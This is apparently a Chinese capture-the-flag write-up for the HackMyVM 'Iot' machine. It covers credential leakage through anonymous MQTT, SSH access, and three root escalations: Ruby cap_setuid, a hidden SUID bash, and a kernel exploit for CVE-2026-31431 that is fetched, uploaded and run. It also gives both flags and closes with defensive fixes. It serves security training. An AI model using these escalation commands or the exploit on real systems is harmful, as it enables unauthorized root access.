跳到主要内容

HackMyVM Iot 通关记录|MQTT 凭据泄露、Ruby setuid 与 SUID bash 提权

靶机链接:Iot


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
Iot192.168.1.115Debian 13 (trixie) 靶机

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、1883/tcp MQTT锁定攻击面:MQTT 是主要入口
MQTT 匿名访问allow_anonymous true,无认证直接订阅所有 topic
凭据泄露ssh/login retained topic → redteam:Pentest123!从 MQTT 获取 SSH 凭据
初始访问SSH 登录 redteam获得低权限 shell
User Flag/home/redteam/user.txt第一个 flag
提权方法一ruby -e 'Process::Sys.setuid(0); ...'推荐:单行命令,真实 uid=0,无需上传
提权方法二/var/tmp/.suid_bash -p备选:隐藏 SUID bash,euid=0
提权方法三CVE-2026-31431 AF_ALG/splice备选:内核漏洞,需上传 exploit 并清理
Root Flag/root/root.txt第二个 flag

0x02 侦察与信息收集 (Reconnaissance)

1. 端口扫描

先用 RustScan 做快速端口发现,并让 Nmap 接手服务识别与脚本扫描:

rustscan -a 192.168.1.115 --range 1-65535 -b 4500 -- -sV -sC -oN rustscan_initial.txt

扫描结果:

端口服务版本
22/tcpSSHOpenSSH 10.0p2 Debian 7+deb13u2 (protocol 2.0)
1883/tcpMQTTMosquitto version 2.0.21

分析: 目标暴露面非常收敛,仅开放 SSH 与 MQTT 两个端口。SSH 通常需要凭据,优先分析 MQTT 服务。MQTT(Message Queuing Telemetry Transport)是 IoT 设备常用的轻量级消息协议,默认端口 1883。

2. 目标信息汇总

通过 Nmap 指纹和后续信息收集确认的系统环境:

IP: 192.168.1.115 (enp0s3) / 192.168.56.109 (enp0s8)
Hostname: iot.lan
MAC: 08:00:27:DA:E2:C9 (Oracle VirtualBox)
OS: Debian GNU/Linux 13 (trixie)
Kernel: 6.12.74+deb13+1-amd64
用户: root, redteam (uid 1001)

0x03 漏洞分析与初始访问 (Vulnerability Analysis & Initial Access)

1. MQTT 匿名访问 — 关键发现

Nmap 的 mqtt-subscribe 脚本自动订阅了 MQTT topic #(通配符,匹配所有 topic),在扫描结果中直接泄露了 SSH 凭据:

| mqtt-subscribe:
| Topics and their most recent payloads:
| ssh/login: redteam:Pentest123!
| $SYS/broker/version: mosquitto version 2.0.21
| ...

关键发现:

  • MQTT broker 允许匿名访问(无需用户名/密码)
  • ssh/login topic 存储了 retained(保留)消息:redteam:Pentest123!
  • 这直接泄露了 SSH 登录凭据

2. 手动验证 MQTT 消息

使用 mosquitto_sub 工具手动订阅所有 topic 以确认凭据:

# 订阅所有 topic,显示 retained(保留)消息
timeout 10 mosquitto_sub -h 192.168.1.115 -t "#" -v --retained-only

输出:

ssh/login redteam:Pentest123!

验证只有这一条 retained 消息,确认凭据为 redteam:Pentest123!

3. 监控实时消息

# 订阅所有 topic 的实时消息,持续 15 秒
timeout 15 mosquitto_sub -h 192.168.1.115 -t "#" -v

输出: 无实时消息在传输(超时退出,仅捕获到一条 retained 消息)。

结论: 靶机当前没有活跃的 MQTT 消息发布,ssh/login 是之前发布后被 broker 持久化的 retained 消息。

4. SSH 初始访问

使用获取的凭据登录 SSH:

# 先清除旧的 SSH 主机密钥(如果之前连接过该 IP)
ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '192.168.1.115'

# SSH 连接
sshpass -p 'Pentest123!' ssh -o StrictHostKeyChecking=no redteam@192.168.1.115 'id; uname -a'

输出:

uid=1001(redteam) gid=1001(redteam) groupes=1001(redteam),100(users)
Linux iot 6.12.74+deb13+1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.74-2 (2026-03-08) x86_64 GNU/Linux

已成功获取 redteam 用户 shell。


0x04 本地信息收集与 User Flag

1. 系统基本信息

sshpass -p 'Pentest123!' ssh -o StrictHostKeyChecking=no redteam@192.168.1.115 \
'id; uname -a; cat /etc/os-release; cat /etc/passwd | grep -E "(/bin/bash|/bin/sh)"'

输出:

PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
VERSION_ID="13"
root:x:0:0:root:/root:/bin/bash
redteam:x:1001:1001:,,,:/home/redteam:/bin/bash

系统仅有两个可登录用户:rootredteam

2. Sudo 权限检查

sshpass -p 'Pentest123!' ssh -o StrictHostKeyChecking=no redteam@192.168.1.115 \
'echo "Pentest123!" | sudo -S -l 2>/dev/null'

输出:

Désolé, l'utilisateur redteam ne peut pas utiliser sudo sur iot.

redteam 没有 sudo 权限,无法通过 sudo 直接提权。

3. 发现 user.txt(第一个 Flag)

ls -la /home/redteam/

输出:

total 32
drwx------ 3 redteam redteam 4096 3 juin 09:36 .
drwxr-xr-x 3 root root 4096 3 juin 09:21 ..
-rw------- 1 redteam redteam 11 3 juin 09:36 .bash_history
-rw-r--r-- 1 redteam redteam 220 3 juin 09:17 .bash_logout
-rw-r--r-- 1 redteam redteam 3526 3 juin 09:17 .bashrc
drwxrwxr-x 3 redteam redteam 4096 3 juin 09:22 .local
-rw-r--r-- 1 redteam redteam 807 3 juin 09:17 .profile
-rw-rw-r-- 1 redteam redteam 65 3 juin 09:22 user.txt <-- FLAG!
cat /home/redteam/user.txt

User Flag:

4a8e67f8bb252d0b4feab103b8d58f553644f39d33314beff8b9214879451de1

0x05 权限提升 (Privilege Escalation)

优先选择简单路径

三种提权方法按优先级排列 — 优先使用方法一,最简单且无需上传任何文件。


方法一:Ruby cap_setuid(推荐,真实 uid=0)

在本地枚举 capability 时,发现 Ruby 3.3 具备 cap_setuid=ep

/usr/sbin/getcap -r / 2>/dev/null

关键输出:

/usr/bin/ruby3.3 cap_setuid=ep

这意味着 Ruby 进程可以调用 setuid(0) 把真实 UID 切到 root。利用时无需上传文件,直接用一行 Ruby 命令即可提权并读取 root flag:

ruby -e 'Process::Sys.setuid(0); exec "/bin/bash", "-p", "-c", "id; cat /root/root.txt"'

输出:

uid=0(root) gid=1001(redteam) groupes=1001(redteam),100(users)
cb0f023463e47a76f9d69e0b435a10882b6dd7489c5ca4d4b6ccac9c631a46d8
方法一的权限结果

uid=0(root)真实 uid,不是 euid。与其他方法相比权限更彻底(例如可以 kill -9 任意进程、修改进程的 dumpable 属性等)。

优点: 单行命令 / 无需上传任何文件 / 不修改系统 / 真实 uid=0

验证 Ruby 可用性:

which ruby # /usr/bin/ruby
ruby --version # ruby 3.3.8 (2025-04-09) [x86_64-linux-gnu]

方法二:隐藏 SUID Bash(备选,有效 uid=0)

如果不使用 Ruby 这条路径,可以继续检查 SUID 文件。枚举结果中出现了一个不属于标准 Debian SUID 集合的隐藏文件:

find / -perm -4000 -type f 2>/dev/null

输出:

/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/su
/var/tmp/.suid_bash <-- 异常!隐藏的 SUID root bash

关键点在最后一行:/var/tmp/.suid_bash 是一个 4755 root:root 的隐藏 SUID bash。进一步确认它和系统 bash 内容一致,并且确实带有 SUID 权限:

# 验证:SUID bash 副本 = 系统 bash 副本
md5sum /var/tmp/.suid_bash /bin/bash
# 9c5c87555c7f6864b5853080f1aaf6b8 /var/tmp/.suid_bash
# 9c5c87555c7f6864b5853080f1aaf6b8 /bin/bash

stat /var/tmp/.suid_bash | grep -E "Accès|UID|Modif"
# Accès : (4755/-rwsr-xr-x) UID : (0/root) GID : (0/root)
# Modif. : 2026-04-30 22:00:54

确认后即可使用 bash privileged mode 保留 euid=0 并读取 root flag:

/var/tmp/.suid_bash -p -c 'id; cat /root/root.txt'

输出:

uid=1001(redteam) gid=1001(redteam) euid=0(root) groupes=1001(redteam),100(users)
cb0f023463e47a76f9d69e0b435a10882b6dd7489c5ca4d4b6ccac9c631a46d8
方法二的权限结果

此方法 uid=1001(redteam),仅有 euid=0,并非完全 root 身份。

来源分析: 该文件 /bin/bash 独立副本(md5: 9c5c87555c7f6864b5853080f1aaf6b8/bin/bash 一致),创建于 2026年4月30日(靶机镜像构建时植入),是靶场预设的"隐藏钥匙"。


方法三:CVE-2026-31431 内核漏洞(备选,会修改系统文件)

此方法会修改系统权限位

前两种方法均不可用时,使用内核漏洞。注意:此方法会修改 /bin/bash 的权限位,需清理恢复。

3.1 漏洞检测

首先克隆开源项目并编译:

# 克隆 C 语言版本的 Copy Fail 项目
git clone https://github.com/tgies/copy-fail-c.git
cd copy-fail-c

# 编译检测器和 exploit(需要 gcc + make)
make

编译产物:

  • vulnerable — 非破坏性漏洞检测器
  • exploit — binary-mutation 利用程序(将 /bin/bash 置为 SUID root)
  • exploit-passwd/etc/passwd UID-flip 变体(备选)
# 将检测工具上传到靶机
scp vulnerable redteam@192.168.1.115:/tmp/vulnerable

# 执行检测
ssh redteam@192.168.1.115 'cd /tmp && chmod +x ./vulnerable && ./vulnerable; echo $?'

输出:

[!] VULNERABLE
CHECK_RC=100

检测结果: 靶机 存在 CVE-2026-31431 (Copy Fail) 漏洞。

3.2 漏洞利用

使用 exploit 触发 AF_ALG/splice page-cache mutation,将 /bin/bash 置为 SUID root:

# 上传 exploit 到靶机
scp exploit redteam@192.168.1.115:/tmp/exploit

# 执行 exploit
ssh redteam@192.168.1.115 'cd /tmp && chmod +x ./exploit && ./exploit'

Exploit 执行后利用 SUID bash 读取 root flag:

ssh redteam@192.168.1.115 '/bin/bash -p -c "id; cat /root/root.txt"'

输出:

uid=1001(redteam) gid=1001(redteam) euid=0(root) groupes=1001(redteam),100(users)
cb0f023463e47a76f9d69e0b435a10882b6dd7489c5ca4d4b6ccac9c631a46d8

0x06 最终成果 (Final Flags)

User Flag

  • 路径: /home/redteam/user.txt
  • 内容: 4a8e67f8bb252d0b4feab103b8d58f553644f39d33314beff8b9214879451de1

Root Flag

  • 路径: /root/root.txt
  • 内容: cb0f023463e47a76f9d69e0b435a10882b6dd7489c5ca4d4b6ccac9c631a46d8

复盘总结

这台 Iot 靶机的攻击链清晰但提权路径多样:MQTT 匿名访问泄露 SSH 凭据 → SSH 初始访问 → 三种提权方法可选

  1. MQTT 匿名访问是第一道防线失守。 allow_anonymous true 导致任何人都可以连接 broker 并订阅所有 topic。在生产环境中,MQTT broker 必须启用认证(用户名/密码或 TLS 客户端证书),并实施 topic 级别的 ACL 访问控制。

  2. Retained 消息是持久化的信息泄露源。 MQTT 的 retained 消息机制意味着一旦发布带 -r 标记的消息,broker 会永久存储该消息。即使发布者已下线,任何新订阅者都会立即收到该消息。敏感信息绝不应通过 retained topic 传递。

  3. 凭据不应硬编码在脚本中。 pub.shredteam:Pentest123! 明文写入脚本并通过 MQTT 传输。应使用密钥管理方案或 SSH key 认证替代密码。

  4. 提权有优先级,先用最简单的。 靶机提供了三把"钥匙":Ruby setuid(真实 uid=0,单行命令)、隐藏 SUID bash(euid=0,无需上传)、CVE-2026-31431 内核漏洞(最后手段)。优先选择不修改系统、不需要上传文件的方法。

  5. 三种提权方法的差异值得注意。 Ruby 的 Process::Sys.setuid(0) 获取的是真实 uid=0,比 SUID bash 的 euid=0 权限更彻底;内核漏洞则修改了 /bin/bash 的权限位,需要清理恢复。在渗透测试报告中应注明使用了哪种方法及对系统的影响。

  6. root crontab 不能独立提权。 pub.sh 的 cron 任务虽然以 root 身份每分钟执行,但脚本、目录、PATH 均不可写,脚本仅做单向 MQTT 发布不接收外部命令 — 它只负责信息泄露(初始访问),不负责提权

  7. psimon 分析说明要敢排除干扰。 两个名为 psimon 的内核线程看起来很可疑,但通过系统化分析 — /proc/sys/dev 接口、内核字符串位置 — 可以确认它是 PSI 子系统的正常组件。

防守侧修复建议:

  • MQTT broker 必须启用认证(allow_anonymous false),配置用户名/密码或 TLS 证书
  • MQTT topic 应实施 ACL 访问控制,限制哪些用户可以订阅/发布哪些 topic
  • 不要在 retained 消息中传递凭据、密钥或任何敏感信息
  • 凭据使用密钥管理服务,避免在脚本中硬编码
  • 清理系统中的隐藏 SUID 后门文件(/var/tmp/.suid_bash
  • 及时更新内核安全补丁,修复 CVE-2026-31431 等内核漏洞
  • 对外部 MQTT broker 通信实施 TLS 加密和双向认证